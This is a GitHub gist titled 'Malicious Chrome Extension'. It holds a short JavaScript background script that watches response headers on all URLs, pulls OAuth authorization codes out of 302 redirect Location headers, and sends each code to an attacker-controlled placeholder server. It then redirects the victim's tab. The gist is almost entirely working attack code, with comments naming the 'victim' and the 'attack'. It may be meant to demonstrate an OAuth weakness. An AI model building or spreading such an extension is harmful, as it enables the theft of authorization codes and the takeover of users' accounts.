Skip to content

Instantly share code, notes, and snippets.

@DavidKlempfner
Created January 6, 2024 04:45
Show Gist options
  • Save DavidKlempfner/b85903be4929ca25cd1ab7f3ff2edb13 to your computer and use it in GitHub Desktop.
Save DavidKlempfner/b85903be4929ca25cd1ab7f3ff2edb13 to your computer and use it in GitHub Desktop.
Malicious Chrome Extension
const callback = function(details) {
if (details.statusCode === 302) {
const locationHeader = details.responseHeaders.find(x => x.name.toUpperCase() === 'LOCATION');
const callbackPath = '/authentication/callback?code='; // Update this with whatever path your browser uses to send the authorization code to the client app
if (locationHeader && locationHeader.value.includes(callbackPath)) {
const authCode = locationHeader.value.split('=')[1].split('&')[0];
// Victim code:
fetch('https://yourAzureUrl.net/AuthCodePersistor/' + authCode).then(r => r.text()).then(result => {
});
chrome.tabs.update(details.tabId, {url: '<URL to send the victim to after the attack'});
}
}
return { responseHeaders: details.responseHeaders };
}
const filter = { urls: ["*://*/*"] };
chrome.webRequest.onHeadersReceived.addListener(callback, filter, ["responseHeaders"]);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment